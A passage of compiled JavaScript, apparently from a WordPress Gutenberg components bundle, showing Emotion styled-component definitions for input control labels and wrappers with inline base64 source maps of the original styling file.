FBhZGRpbmdYU21hbGwsXG5cdFx0fSxcblx0XHRjb21wYWN0OiB7XG5cdFx0XHRoZWlnaHQ6IDMyLFxuXHRcdFx0bGluZUhlaWdodDogMSxcblx0XHRcdG1pbkhlaWdodDogMzIsXG5cdFx0XHRwYWRkaW5nTGVmdDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWFNtYWxsLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0fSxcblx0XHQnX191bnN0YWJsZS1sYXJnZSc6IHtcblx0XHRcdGhlaWdodDogNDAsXG5cdFx0XHRsaW5lSGVpZ2h0OiAxLFxuXHRcdFx0bWluSGVpZ2h0OiA0MCxcblx0XHRcdHBhZGRpbmdMZWZ0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdH0sXG5cdH07XG5cblx0aWYgKCAhIF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSApIHtcblx0XHRzaXplcy5kZWZhdWx0ID0gc2l6ZXMuY29tcGFjdDtcblx0fVxuXG5cdHJldHVybiBzaXplc1sgc2l6ZSBhcyBTaXplIF0gfHwgc2l6ZXMuZGVmYXVsdDtcbn07XG5cbmNvbnN0IHNpemVTdHlsZXMgPSAoIHByb3BzOiBJbnB1dFByb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzKCBnZXRTaXplQ29uZmlnKCBwcm9wcyApICk7XG59O1xuXG5jb25zdCBjdXN0b21QYWRkaW5ncyA9ICgge1xuXHRwYWRkaW5nSW5saW5lU3RhcnQsXG5cdHBhZGRpbmdJbmxpbmVFbmQsXG59OiBJbnB1dFByb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzKCB7IHBhZGRpbmdJbmxpbmVTdGFydCwgcGFkZGluZ0lubGluZUVuZCB9ICk7XG59O1xuXG5jb25zdCBkcmFnU3R5bGVzID0gKCB7IGlzRHJhZ2dpbmcsIGRyYWdDdXJzb3IgfTogSW5wdXRQcm9wcyApID0+IHtcblx0bGV0IGRlZmF1bHRBcnJvd1N0eWxlczogU2VyaWFsaXplZFN0eWxlcyB8IHVuZGVmaW5lZDtcblx0bGV0IGFjdGl2ZURyYWdDdXJzb3JTdHlsZXM6IFNlcmlhbGl6ZWRTdHlsZXMgfCB1bmRlZmluZWQ7XG5cblx0aWYgKCBpc0RyYWdnaW5nICkge1xuXHRcdGRlZmF1bHRBcnJvd1N0eWxlcyA9IGNzc2Bcblx0XHRcdGN1cnNvcjogJHsgZHJhZ0N1cnNvciB9O1xuXHRcdFx0dXNlci1zZWxlY3Q6IG5vbmU7XG5cblx0XHRcdCY6Oi13ZWJraXQtb3V0ZXItc3Bpbi1idXR0b24sXG5cdFx0XHQmOjotd2Via2l0LWlubmVyLXNwaW4tYnV0dG9uIHtcblx0XHRcdFx0LXdlYmtpdC1hcHBlYXJhbmNlOiBub25lICFpbXBvcnRhbnQ7XG5cdFx0XHRcdG1hcmdpbjogMCAhaW1wb3J0YW50O1xuXHRcdFx0fVxuXHRcdGA7XG5cdH1cblxuXHRpZiAoIGlzRHJhZ2dpbmcgJiYgZHJhZ0N1cnNvciApIHtcblx0XHRhY3RpdmVEcmFnQ3Vyc29yU3R5bGVzID0gY3NzYFxuXHRcdFx0JjphY3RpdmUge1xuXHRcdFx0XHRjdXJzb3I6ICR7IGRyYWdDdXJzb3IgfTtcblx0XHRcdH1cblx0XHRgO1xuXHR9XG5cblx0cmV0dXJuIGNzc2Bcblx0XHQkeyBkZWZhdWx0QXJyb3dTdHlsZXMgfVxuXHRcdCR7IGFjdGl2ZURyYWdDdXJzb3JTdHlsZXMgfVxuXHRgO1xufTtcblxuLy8gVE9ETzogUmVzb2x2ZSBuZWVkIHRvIHVzZSAmJiYgdG8gaW5jcmVhc2Ugc3BlY2lmaWNpdHlcbi8vIGh0dHBzOi8vZ2l0aHViLmNvbS9Xb3JkUHJlc3MvZ3V0ZW5iZXJnL2lzc3Vlcy8xODQ4M1xuXG5leHBvcnQgY29uc3QgSW5wdXQgPSBzdHlsZWQuaW5wdXQ8IElucHV0UHJvcHMgPmBcblx0JiYmIHtcblx0XHRiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcblx0XHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRcdGJvcmRlcjogbm9uZTtcblx0XHRib3gtc2hhZG93OiBub25lICFpbXBvcnRhbnQ7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kIH07XG5cdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0Zm9udC1mYW1pbHk6IGluaGVyaXQ7XG5cdFx0bWFyZ2luOiAwO1xuXHRcdG91dGxpbmU6IG5vbmU7XG5cdFx0d2lkdGg6IDEwMCU7XG5cblx0XHQkeyBkcmFnU3R5bGVzIH1cblx0XHQkeyBkaXNhYmxlZFN0eWxlcyB9XG5cdFx0JHsgZm9udFNpemVTdHlsZXMgfVxuXHRcdCR7IHNpemVTdHlsZXMgfVxuXHRcdCR7IGN1c3RvbVBhZGRpbmdzIH1cblxuXHRcdCY6Oi13ZWJraXQtaW5wdXQtcGxhY2Vob2xkZXIge1xuXHRcdFx0Y29sb3I6ICR7IENPTE9SUy51aS5kYXJrR3JheVBsYWNlaG9sZGVyIH07XG5cdFx0fVxuXG5cdFx0Jjo6LW1vei1wbGFjZWhvbGRlciB7XG5cdFx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLmRhcmtHcmF5UGxhY2Vob2xkZXIgfTtcblx0XHR9XG5cblx0XHQmOi1tcy1pbnB1dC1wbGFjZWhvbGRlciB7XG5cdFx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLmRhcmtHcmF5UGxhY2Vob2xkZXIgfTtcblx0XHR9XG5cblx0XHQmW3R5cGU9J2VtYWlsJ10sXG5cdFx0Jlt0eXBlPSd1cmwnXSB7XG5cdFx0XHQvKiBydGw6aWdub3JlICovXG5cdFx0XHRkaXJlY3Rpb246IGx0cjtcblx0XHR9XG5cdH1cbmA7XG5cbmNvbnN0IEJhc2VMYWJlbCA9IHN0eWxlZCggVGV4dCApPCB7IGxhYmVsUG9zaXRpb24/OiBMYWJlbFBvc2l0aW9uIH0gPmBcblx0JiYmIHtcblx0XHQkeyBiYXNlTGFiZWxUeXBvZ3JhcGh5IH07XG5cblx0XHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRcdGRpc3BsYXk6IGJsb2NrO1xuXHRcdHBhZGRpbmctdG9wOiAwO1xuXHRcdHBhZGRpbmctYm90dG9tOiAwO1xuXHRcdG1heC13aWR0aDogMTAwJTtcblx0XHR6LWluZGV4OiAxO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgTGFiZWwgPSAoXG5cdHByb3BzOiBXb3JkUHJlc3NDb21wb25lbnRQcm9wczxcblx0XHR7IGxhYmVsUG9zaXRpb24/OiBMYWJlbFBvc2l0aW9uOyBjaGlsZHJlbjogUmVhY3ROb2RlIH0sXG5cdFx0J2xhYmVsJyxcblx0XHRmYWxzZVxuXHQ+XG4pID0+IDxCYXNlTGFiZWwgeyAuLi5wcm9wcyB9IGFzPVwibGFiZWxcIiAvPjtcblxuZXhwb3J0IGNvbnN0IExhYmVsV3JhcHBlciA9IHN0eWxlZCggRmxleEl0ZW0gKWBcblx0bWF4LXdpZHRoOiBjYWxjKCAxMDAlIC0gMTBweCApO1xuYDtcblxuY29uc3QgcHJlZml4U3VmZml4V3JhcHBlclN0eWxlcyA9ICgge1xuXHR2YXJpYW50ID0gJ2RlZmF1bHQnLFxuXHRzaXplLFxuXHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG5cdGlzUHJlZml4LFxufTogUHJlZml4U3VmZml4V3JhcHBlclByb3BzICYgeyBpc1ByZWZpeD86IGJvb2xlYW4gfSApID0+IHtcblx0Y29uc3QgeyBwYWRkaW5nTGVmdDogcGFkZGluZyB9ID0gZ2V0U2l6ZUNvbmZpZygge1xuXHRcdGlucHV0U2l6ZTogc2l6ZSxcblx0XHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG5cdH0gKTtcblxuXHRjb25zdCBwYWRkaW5nUHJvcGVydHkgPSBpc1ByZWZpeFxuXHRcdD8gJ3BhZGRpbmdJbmxpbmVTdGFydCdcblx0XHQ6ICdwYWRkaW5nSW5saW5lRW5kJztcblxuXHRpZiAoIHZhcmlhbnQgPT09ICdkZWZhdWx0JyApIHtcblx0XHRyZXR1cm4gY3NzKCB7XG5cdFx0XHRbIHBhZGRpbmdQcm9wZXJ0eSBdOiBwYWRkaW5nLFxuXHRcdH0gKTtcblx0fVxuXG5cdC8vIElmIHZhcmlhbnQgaXMgJ2ljb24nIG9yICdjb250cm9sJ1xuXHRyZXR1cm4gY3NzKCB7XG5cdFx0ZGlzcGxheTogJ2ZsZXgnLFxuXHRcdFsgcGFkZGluZ1Byb3BlcnR5IF06IHBhZGRpbmcgLSA0LFxuXHR9ICk7XG59O1xuXG5leHBvcnQgY29uc3QgUHJlZml4U3VmZml4V3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdCR7IHByZWZpeFN1ZmZpeFdyYXBwZXJTdHlsZXMgfVxuYDtcbiJdfQ== */"));
24632 var Label = (props) => /* @__PURE__ */ (0, import_jsx_runtime86.jsx)(BaseLabel, {
24633 ...props,
24634 as: "label"
24635 });
24636 var LabelWrapper = /* @__PURE__ */ createStyled(component_default4, false ? {
24637 target: "em5sgkm1"
24638 } : {
24639 target: "em5sgkm1",
24640 label: "LabelWrapper"
24641 })(false ? {
24642 name: "1b6uupn",
24643 styles: "max-width:calc( 100% - 10px )"
24644 } : {
24645 name: "1b6uupn",
24646 styles: "max-width:calc( 100% - 10px )/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImlucHV0LWNvbnRyb2wtc3R5bGVzLnRzeCJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUF1VThDIiwiZmlsZSI6ImlucHV0LWNvbnRyb2wtc3R5bGVzLnRzeCIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB0eXBlIHsgU2VyaWFsaXplZFN0eWxlcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcbmltcG9ydCB0eXBlIHsgQ1NTUHJvcGVydGllcywgUmVhY3ROb2RlIH0gZnJvbSAncmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgdHlwZSB7IFdvcmRQcmVzc0NvbXBvbmVudFByb3BzIH0gZnJvbSAnLi4vLi4vY29udGV4dCc7XG5pbXBvcnQgeyBGbGV4LCBGbGV4SXRlbSB9IGZyb20gJy4uLy4uL2ZsZXgnO1xuaW1wb3J0IHsgVGV4dCB9IGZyb20gJy4uLy4uL3RleHQnO1xuaW1wb3J0IHsgYmFzZUxhYmVsVHlwb2dyYXBoeSwgQ09MT1JTLCBDT05GSUcsIHJ0bCB9IGZyb20gJy4uLy4uL3V0aWxzJztcbmltcG9ydCB0eXBlIHsgTGFiZWxQb3NpdGlvbiwgU2l6ZSwgUHJlZml4U3VmZml4V3JhcHBlclByb3BzIH0gZnJvbSAnLi4vdHlwZXMnO1xuXG50eXBlIENvbnRhaW5lclByb3BzID0ge1xuXHRkaXNhYmxlZD86IGJvb2xlYW47XG5cdGhpZGVMYWJlbD86IGJvb2xlYW47XG5cdF9fdW5zdGFibGVJbnB1dFdpZHRoPzogQ1NTUHJvcGVydGllc1sgJ3dpZHRoJyBdO1xuXHRsYWJlbFBvc2l0aW9uPzogTGFiZWxQb3NpdGlvbjtcbn07XG5cbmV4cG9ydCBjb25zdCBQcmVmaXggPSBzdHlsZWQuc3BhbmBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0ZGlzcGxheTogYmxvY2s7XG5gO1xuXG5leHBvcnQgY29uc3QgU3VmZml4ID0gc3R5bGVkLnNwYW5gXG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGFsaWduLXNlbGY6IHN0cmV0Y2g7XG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdGRpc3BsYXk6IGZsZXg7XG5gO1xuXG50eXBlIEJhY2tkcm9wUHJvcHMgPSB7XG5cdGRpc2FibGVkPzogYm9vbGVhbjtcblx0aXNCb3JkZXJsZXNzPzogYm9vbGVhbjtcbn07XG5cbmNvbnN0IGJhY2tkcm9wQm9yZGVyQ29sb3IgPSAoIHtcblx0ZGlzYWJsZWQsXG5cdGlzQm9yZGVybGVzcyxcbn06IEJhY2tkcm9wUHJvcHMgKTogQ1NTUHJvcGVydGllc1sgJ2JvcmRlckNvbG9yJyBdID0+IHtcblx0aWYgKCBpc0JvcmRlcmxlc3MgKSB7XG5cdFx0cmV0dXJuICd0cmFuc3BhcmVudCc7XG5cdH1cblxuXHRpZiAoIGRpc2FibGVkICkge1xuXHRcdHJldHVybiBDT0xPUlMudWkuYm9yZGVyRGlzYWJsZWQ7XG5cdH1cblxuXHRyZXR1cm4gQ09MT1JTLnVpLmJvcmRlcjtcbn07XG5cbmV4cG9ydCBjb25zdCBCYWNrZHJvcFVJID0gc3R5bGVkLmRpdjwgQmFja2Ryb3BQcm9wcyA+YFxuXHQmJiYge1xuXHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0Ym9yZGVyLWNvbG9yOiAkeyBiYWNrZHJvcEJvcmRlckNvbG9yIH07XG5cdFx0Ym9yZGVyLXJhZGl1czogaW5oZXJpdDtcblx0XHRib3JkZXItc3R5bGU6IHNvbGlkO1xuXHRcdGJvcmRlci13aWR0aDogMXB4O1xuXHRcdGJvdHRvbTogMDtcblx0XHRsZWZ0OiAwO1xuXHRcdG1hcmdpbjogMDtcblx0XHRwYWRkaW5nOiAwO1xuXHRcdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRyaWdodDogMDtcblx0XHR0b3A6IDA7XG5cblx0XHQkeyBydGwoIHsgcGFkZGluZ0xlZnQ6IDIgfSApIH1cblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IFJvb3QgPSBzdHlsZWQoIEZsZXggKWBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzU21hbGwgfTtcblx0cGFkZGluZy10b3A6IDA7XG5cblx0Ly8gRm9jdXMgd2l0aGluLCBleGNsdWRpbmcgY2FzZXMgd2hlcmUgYXV4aWxpYXJ5IGNvbnRyb2xzIGluIHByZWZpeCBvciBzdWZmaXggaGF2ZSBmb2N1cy5cblx0Jjpmb2N1cy13aXRoaW46bm90KCA6aGFzKCA6aXMoICR7IFByZWZpeCB9LCAkeyBTdWZmaXggfSApOmZvY3VzLXdpdGhpbiApICkge1xuXHRcdCR7IEJhY2tkcm9wVUkgfSB7XG5cdFx0XHRib3JkZXItY29sb3I6ICR7IENPTE9SUy51aS5ib3JkZXJGb2N1cyB9O1xuXHRcdFx0Ym94LXNoYWRvdzogJHsgQ09ORklHLmNvbnRyb2xCb3hTaGFkb3dGb2N1cyB9O1xuXHRcdFx0Ly8gV2luZG93cyBIaWdoIENvbnRyYXN0IG1vZGUgd2lsbCBzaG93IHRoaXMgb3V0bGluZSwgYnV0IG5vdCB0aGUgYm94LXNoYWRvdy5cblx0XHRcdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0XHRcdG91dGxpbmUtb2Zmc2V0OiAtMnB4O1xuXHRcdH1cblx0fVxuYDtcblxuY29uc3QgY29udGFpbmVyRGlzYWJsZWRTdHlsZXMgPSAoIHsgZGlzYWJsZWQgfTogQ29udGFpbmVyUHJvcHMgKSA9PiB7XG5cdGNvbnN0IGJhY2tncm91bmRDb2xvciA9IGRpc2FibGVkXG5cdFx0PyBDT0xPUlMudWkuYmFja2dyb3VuZERpc2FibGVkXG5cdFx0OiBDT0xPUlMudWkuYmFja2dyb3VuZDtcblxuXHRyZXR1cm4gY3NzKCB7IGJhY2tncm91bmRDb2xvciB9ICk7XG59O1xuXG5jb25zdCBjb250YWluZXJXaWR0aFN0eWxlcyA9ICgge1xuXHRfX3Vuc3RhYmxlSW5wdXRXaWR0aCxcblx0bGFiZWxQb3NpdGlvbixcbn06IENvbnRhaW5lclByb3BzICkgPT4ge1xuXHRpZiAoICEgX191bnN0YWJsZUlucHV0V2lkdGggKSB7XG5cdFx0cmV0dXJuIGNzcyggeyB3aWR0aDogJzEwMCUnIH0gKTtcblx0fVxuXG5cdGlmICggbGFiZWxQb3NpdGlvbiA9PT0gJ3NpZGUnICkge1xuXHRcdHJldHVybiAnJztcblx0fVxuXG5cdGlmICggbGFiZWxQb3NpdGlvbiA9PT0gJ2VkZ2UnICkge1xuXHRcdHJldHVybiBjc3MoIHtcblx0XHRcdGZsZXg6IGAwIDAgJHsgX191bnN0YWJsZUlucHV0V2lkdGggfWAsXG5cdFx0fSApO1xuXHR9XG5cblx0cmV0dXJuIGNzcyggeyB3aWR0aDogX191bnN0YWJsZUlucHV0V2lkdGggfSApO1xufTtcblxuZXhwb3J0IGNvbnN0IENvbnRhaW5lciA9IHN0eWxlZC5kaXY8IENvbnRhaW5lclByb3BzID5gXG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdGJvcmRlci1yYWRpdXM6IGluaGVyaXQ7XG5cdGRpc3BsYXk6IGZsZXg7XG5cdGZsZXg6IDE7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblxuXHQkeyBjb250YWluZXJEaXNhYmxlZFN0eWxlcyB9XG5cdCR7IGNvbnRhaW5lcldpZHRoU3R5bGVzIH1cbmA7XG5cbnR5cGUgSW5wdXRQcm9wcyA9IHtcblx0X19uZXh0NDBweERlZmF1bHRTaXplPzogYm9vbGVhbjtcblx0ZGlzYWJsZWQ/OiBib29sZWFuO1xuXHRpbnB1dFNpemU/OiBTaXplO1xuXHRpc0RyYWdnaW5nPzogYm9vbGVhbjtcblx0ZHJhZ0N1cnNvcj86IENTU1Byb3BlcnRpZXNbICdjdXJzb3InIF07XG5cdHBhZGRpbmdJbmxpbmVTdGFydD86IENTU1Byb3BlcnRpZXNbICdwYWRkaW5nSW5saW5lU3RhcnQnIF07XG5cdHBhZGRpbmdJbmxpbmVFbmQ/OiBDU1NQcm9wZXJ0aWVzWyAncGFkZGluZ0lubGluZUVuZCcgXTtcbn07XG5cbmNvbnN0IGRpc2FibGVkU3R5bGVzID0gKCB7IGRpc2FibGVkIH06IElucHV0UHJvcHMgKSA9PiB7XG5cdGlmICggISBkaXNhYmxlZCApIHtcblx0XHRyZXR1cm4gJyc7XG5cdH1cblxuXHRyZXR1cm4gY3NzKCB7XG5cdFx0Y29sb3I6IENPTE9SUy51aS50ZXh0RGlzYWJsZWQsXG5cdH0gKTtcbn07XG5cbmV4cG9ydCBjb25zdCBmb250U2l6ZVN0eWxlcyA9ICggeyBpbnB1dFNpemU6IHNpemUgfTogSW5wdXRQcm9wcyApID0+IHtcblx0Y29uc3Qgc2l6ZXMgPSB7XG5cdFx0ZGVmYXVsdDogJzEzcHgnLFxuXHRcdHNtYWxsOiAnMTFweCcsXG5cdFx0Y29tcGFjdDogJzEzcHgnLFxuXHRcdCdfX3Vuc3RhYmxlLWxhcmdlJzogJzEzcHgnLFxuXHR9O1xuXG5cdGNvbnN0IGZvbnRTaXplID0gc2l6ZXNbIHNpemUgYXMgU2l6ZSBdIHx8IHNpemVzLmRlZmF1bHQ7XG5cdGNvbnN0IGZvbnRTaXplTW9iaWxlID0gJzE2cHgnO1xuXG5cdGlmICggISBmb250U2l6ZSApIHtcblx0XHRyZXR1cm4gJyc7XG5cdH1cblxuXHRyZXR1cm4gY3NzYFxuXHRcdGZvbnQtc2l6ZTogJHsgZm9udFNpemVNb2JpbGUgfTtcblxuXHRcdEBtZWRpYSAoIG1pbi13aWR0aDogNjAwcHggKSB7XG5cdFx0XHRmb250LXNpemU6ICR7IGZvbnRTaXplIH07XG5cdFx0fVxuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGdldFNpemVDb25maWcgPSAoIHtcblx0aW5wdXRTaXplOiBzaXplLFxuXHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG59OiBJbnB1dFByb3BzICkgPT4ge1xuXHQvLyBQYWRkaW5ncyBtYXkgYmUgb3ZlcnJpZGRlbiBieSB0aGUgY3VzdG9tIHBhZGRpbmdzIHByb3BzLlxuXHRjb25zdCBzaXplcyA9IHtcblx0XHRkZWZhdWx0OiB7XG5cdFx0XHRoZWlnaHQ6IDQwLFxuXHRcdFx0bGluZUhlaWdodDogMSxcblx0XHRcdG1pbkhlaWdodDogNDAsXG5cdFx0XHRwYWRkaW5nTGVmdDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWCxcblx0XHRcdHBhZGRpbmdSaWdodDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWCxcblx0XHR9LFxuXHRcdHNtYWxsOiB7XG5cdFx0XHRoZWlnaHQ6IDI0LFxuXHRcdFx0bGluZUhlaWdodDogMSxcblx0XHRcdG1pbkhlaWdodDogMjQsXG5cdFx0XHRwYWRkaW5nTGVmdDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWFNtYWxsLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0fSxcblx0XHRjb21wYWN0OiB7XG5cdFx0XHRoZWlnaHQ6IDMyLFxuXHRcdFx0bGluZUhlaWdodDogMSxcblx0XHRcdG1pbkhlaWdodDogMzIsXG5cdFx0XHRwYWRkaW5nTGVmdDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWFNtYWxsLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0fSxcblx0XHQnX191bnN0YWJsZS1sYXJnZSc6IHtcblx0XHRcdGhlaWdodDogNDAsXG5cdFx0XHRsaW5lSGVpZ2h0OiAxLFxuXHRcdFx0bWluSGVpZ2h0OiA0MCxcblx0XHRcdHBhZGRpbmdMZWZ0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdH0sXG5cdH07XG5cblx0aWYgKCAhIF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSApIHtcblx0XHRzaXplcy5kZWZhdWx0ID0gc2l6ZXMuY29tcGFjdDtcblx0fVxuXG5cdHJldHVybiBzaXplc1sgc2l6ZSBhcyBTaXplIF0gfHwgc2l6ZXMuZGVmYXVsdDtcbn07XG5cbmNvbnN0IHNpemVTdHlsZXMgPSAoIHByb3BzOiBJbnB1dFByb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzKCBnZXRTaXplQ29uZmlnKCBwcm9wcyApICk7XG59O1xuXG5jb25zdCBjdXN0b21QYWRkaW5ncyA9ICgge1xuXHRwYWRkaW5nSW5saW5lU3RhcnQsXG5cdHBhZGRpbmdJbmxpbmVFbmQsXG59OiBJbnB1dFByb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzKCB7IHBhZGRpbmdJbmxpbmVTdGFydCwgcGFkZGluZ0lubGluZUVuZCB9ICk7XG59O1xuXG5jb25zdCBkcmFnU3R5bGVzID0gKCB7IGlzRHJhZ2dpbmcsIGRyYWdDdXJzb3IgfTogSW5wdXRQcm9wcyApID0+IHtcblx0bGV0IGRlZmF1bHRBcnJvd1N0eWxlczogU2VyaWFsaXplZFN0eWxlcyB8IHVuZGVmaW5lZDtcblx0bGV0IGFjdGl2ZURyYWdDdXJzb3JTdHlsZXM6IFNlcmlhbGl6ZWRTdHlsZXMgfCB1bmRlZmluZWQ7XG5cblx0aWYgKCBpc0RyYWdnaW5nICkge1xuXHRcdGRlZmF1bHRBcnJvd1N0eWxlcyA9IGNzc2Bcblx0XHRcdGN1cnNvcjogJHsgZHJhZ0N1cnNvciB9O1xuXHRcdFx0dXNlci1zZWxlY3Q6IG5vbmU7XG5cblx0XHRcdCY6Oi13ZWJraXQtb3V0ZXItc3Bpbi1idXR0b24sXG5cdFx0XHQmOjotd2Via2l0LWlubmVyLXNwaW4tYnV0dG9uIHtcblx0XHRcdFx0LXdlYmtpdC1hcHBlYXJhbmNlOiBub25lICFpbXBvcnRhbnQ7XG5cdFx0XHRcdG1hcmdpbjogMCAhaW1wb3J0YW50O1xuXHRcdFx0fVxuXHRcdGA7XG5cdH1cblxuXHRpZiAoIGlzRHJhZ2dpbmcgJiYgZHJhZ0N1cnNvciApIHtcblx0XHRhY3RpdmVEcmFnQ3Vyc29yU3R5bGVzID0gY3NzYFxuXHRcdFx0JjphY3RpdmUge1xuXHRcdFx0XHRjdXJzb3I6ICR7IGRyYWdDdXJzb3IgfTtcblx0XHRcdH1cblx0XHRgO1xuXHR9XG5cblx0cmV0dXJuIGNzc2Bcblx0XHQkeyBkZWZhdWx0QXJyb3dTdHlsZXMgfVxuXHRcdCR7IGFjdGl2ZURyYWdDdXJzb3JTdHlsZXMgfVxuXHRgO1xufTtcblxuLy8gVE9ETzogUmVzb2x2ZSBuZWVkIHRvIHVzZSAmJiYgdG8gaW5jcmVhc2Ugc3BlY2lmaWNpdHlcbi8vIGh0dHBzOi8vZ2l0aHViLmNvbS9Xb3JkUHJlc3MvZ3V0ZW5iZXJnL2lzc3Vlcy8xODQ4M1xuXG5leHBvcnQgY29uc3QgSW5wdXQgPSBzdHlsZWQuaW5wdXQ8IElucHV0UHJvcHMgPmBcblx0JiYmIHtcblx0XHRiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcblx0XHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRcdGJvcmRlcjogbm9uZTtcblx0XHRib3gtc2hhZG93OiBub25lICFpbXBvcnRhbnQ7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kIH07XG5cdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0Zm9udC1mYW1pbHk6IGluaGVyaXQ7XG5cdFx0bWFyZ2luOiAwO1xuXHRcdG91dGxpbmU6IG5vbmU7XG5cdFx0d2lkdGg6IDEwMCU7XG5cblx0XHQkeyBkcmFnU3R5bGVzIH1cblx0XHQkeyBkaXNhYmxlZFN0eWxlcyB9XG5cdFx0JHsgZm9udFNpemVTdHlsZXMgfVxuXHRcdCR7IHNpemVTdHlsZXMgfVxuXHRcdCR7IGN1c3RvbVBhZGRpbmdzIH1cblxuXHRcdCY6Oi13ZWJraXQtaW5wdXQtcGxhY2Vob2xkZXIge1xuXHRcdFx0Y29sb3I6ICR7IENPTE9SUy51aS5kYXJrR3JheVBsYWNlaG9sZGVyIH07XG5cdFx0fVxuXG5cdFx0Jjo6LW1vei1wbGFjZWhvbGRlciB7XG5cdFx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLmRhcmtHcmF5UGxhY2Vob2xkZXIgfTtcblx0XHR9XG5cblx0XHQmOi1tcy1pbnB1dC1wbGFjZWhvbGRlciB7XG5cdFx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLmRhcmtHcmF5UGxhY2Vob2xkZXIgfTtcblx0XHR9XG5cblx0XHQmW3R5cGU9J2VtYWlsJ10sXG5cdFx0Jlt0eXBlPSd1cmwnXSB7XG5cdFx0XHQvKiBydGw6aWdub3JlICovXG5cdFx0XHRkaXJlY3Rpb246IGx0cjtcblx0XHR9XG5cdH1cbmA7XG5cbmNvbnN0IEJhc2VMYWJlbCA9IHN0eWxlZCggVGV4dCApPCB7IGxhYmVsUG9zaXRpb24/OiBMYWJlbFBvc2l0aW9uIH0gPmBcblx0JiYmIHtcblx0XHQkeyBiYXNlTGFiZWxUeXBvZ3JhcGh5IH07XG5cblx0XHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRcdGRpc3BsYXk6IGJsb2NrO1xuXHRcdHBhZGRpbmctdG9wOiAwO1xuXHRcdHBhZGRpbmctYm90dG9tOiAwO1xuXHRcdG1heC13aWR0aDogMTAwJTtcblx0XHR6LWluZGV4OiAxO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgTGFiZWwgPSAoXG5cdHByb3BzOiBXb3JkUHJlc3NDb21wb25lbnRQcm9wczxcblx0XHR7IGxhYmVsUG9zaXRpb24/OiBMYWJlbFBvc2l0aW9uOyBjaGlsZHJlbjogUmVhY3ROb2RlIH0sXG5cdFx0J2xhYmVsJyxcblx0XHRmYWxzZVxuXHQ+XG4pID0+IDxCYXNlTGFiZWwgeyAuLi5wcm9wcyB9IGFzPVwibGFiZWxcIiAvPjtcblxuZXhwb3J0IGNvbnN0IExhYmVsV3JhcHBlciA9IHN0eWxlZCggRmxleEl0ZW0gKWBcblx0bWF4LXdpZHRoOiBjYWxjKCAxMDAlIC0gMTBweCApO1xuYDtcblxuY29uc3QgcHJlZml4U3VmZml4V3JhcHBlclN0eWxlcyA9ICgge1xuXHR